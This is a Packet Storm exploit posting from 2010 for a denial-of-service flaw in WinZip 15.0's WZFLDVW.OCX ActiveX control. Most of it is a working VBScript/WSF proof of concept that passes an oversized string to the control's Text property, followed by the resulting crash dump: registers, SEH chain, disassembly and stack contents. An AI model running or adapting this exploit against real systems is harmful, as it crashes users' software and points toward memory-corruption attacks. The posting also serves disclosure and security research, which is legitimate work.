Winzip 15.0 WZFLDVW.OCX Text Property Denial Of Service

2010-12-06T00:00:00
ID PACKETSTORM:96411
Type packetstorm
Reporter Fady Mohamed Osman
Modified 2010-12-06T00:00:00

Description

                                        
                                            `# Exploit Title: Winzip WZFLDVW.OCX text property access violation  
# Author: fady mohamed osman  
# Software Link : http://www.winzip.com/downwz.htm  
# Version: 15.0 (Build 9334)  
# Tested on: Win XP Sp2  
# CVE : N/A  
  
# Website : http://www.darkmasters.co.cc/  
# Twitter : http://twitter.com/Fady_Osman  
  
<?XML version='1.0' standalone='yes' ?>  
<package><job id='DoneInVBS' debug='false' error='true'>  
<object classid='clsid:4E3770F4-1937-4F05-B9A2-959BE7321909' id='target' />  
<script language='vbscript'>  
  
  
'Wscript.echo typename(target)  
  
'for debugging/custom prolog  
targetFile = "C:\Program Files\WinZip\WZFLDVW.OCX"  
prototype = "Invoke_Unknown Text As String"  
memberName = "Text"  
progid = "FolderViewControl.TreeNode"  
argCount = 1  
  
arg1=String(1044, "A")  
  
target.Text = arg1  
  
</script></job></package>  
  
Exception Code: ACCESS_VIOLATION  
Disasm: 1643D05 PUSH DWORD PTR [ECX+20]  
  
Seh Chain:  
--------------------------------------------------  
1 180B82F wzfldvw.ocx  
2 180B8F0 wzfldvw.ocx  
3 73351571 VBSCRIPT.dll  
4 73350F38 VBSCRIPT.dll  
5 73351DA5 VBSCRIPT.dll  
6 7335119D VBSCRIPT.dll  
7 7C8399F3 KERNEL32.dll  
  
  
Called From Returns To   
--------------------------------------------------  
wzfldvw.1643D05 wzfldvw.16314E1   
wzfldvw.16314E1 wzfldvw.1666F8C   
wzfldvw.1666F8C wzfldvw.16434A0   
wzfldvw.16434A0 VBSCRIPT.73313A78   
VBSCRIPT.73313A78 VBSCRIPT.733139F6   
VBSCRIPT.733139F6 VBSCRIPT.73304B01   
VBSCRIPT.73304B01 VBSCRIPT.73306959   
VBSCRIPT.73306959 VBSCRIPT.73301E55   
VBSCRIPT.73301E55 VBSCRIPT.73303A76   
VBSCRIPT.73303A76 VBSCRIPT.7330BE2A   
VBSCRIPT.7330BE2A VBSCRIPT.7330BEB9   
VBSCRIPT.7330BEB9 SCROBJ.5CE4915E   
SCROBJ.5CE4915E SCROBJ.5CE4CF9C   
SCROBJ.5CE4CF9C SCROBJ.5CE4D0E2   
SCROBJ.5CE4D0E2 SCROBJ.5CE4B106   
SCROBJ.5CE4B106 SCROBJ.5CE4B49F   
SCROBJ.5CE4B49F 100BB36   
100BB36 1005EFE   
1005EFE 1005215   
1005215 100492B   
100492B 1004A89   
1004A89 1003C7B   
1003C7B KERNEL32.7C816D4F   
  
  
Registers:  
--------------------------------------------------  
EIP 01643D05 -> 00000001  
EAX 0013EB1C -> 00000001  
EBX 00000000  
ECX BAADF00D  
EDX 01642B94 -> 18EBD88B  
EDI 00000008  
ESI 0013EB70 -> 01666F8C  
EBP 0013EB44 -> 0013EB6C  
ESP 0013EB10 -> 0000113F  
  
  
Block Disassembly:  
--------------------------------------------------  
1643CF4 MOV EAX,[EBP+24]  
1643CF7 MOV [EBP-4],EAX  
1643CFA LEA EAX,[EBP-28]  
1643CFD PUSH EAX  
1643CFE PUSH 0  
1643D00 PUSH 113F  
1643D05 PUSH DWORD PTR [ECX+20] <--- CRASH  
1643D08 CALL [182CA6C]  
1643D0E LEAVE  
1643D0F RETN 20  
1643D12 MOV EDI,EDI  
1643D14 PUSH EBP  
1643D15 MOV EBP,ESP  
1643D17 SUB ESP,3C  
1643D1A MOV EAX,[EBP+8]  
  
  
ArgDump:  
--------------------------------------------------  
EBP+8 BAADF00D  
EBP+12 00000001  
EBP+16 0019B05C -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA  
EBP+20 00000000  
EBP+24 00000000  
EBP+28 00000000  
  
  
Stack Dump:  
--------------------------------------------------  
13EB10 3F 11 00 00 00 00 00 00 1C EB 13 00 01 00 00 00 [................]  
13EB20 0D F0 AD BA 00 00 00 00 00 00 00 00 5C B0 19 00 [............\...]  
13EB30 D0 EB 13 00 00 00 00 00 00 00 00 00 08 EC 13 00 [................]  
13EB40 00 00 00 00 6C EB 13 00 E1 14 63 01 0D F0 AD BA [....l.....c.....]  
13EB50 01 00 00 00 5C B0 19 00 00 00 00 00 00 00 00 00 [....\...........]  
  
  
  
ApiLog  
--------------------------------------------------  
  
***** Installing Hooks *****  
7c826cab CreateFileA(C:\WINDOWS\system32\rsaenh.dll)  
7c826cab CreateFileA(C:\WINDOWS\system32\rsaenh.dll)  
  
`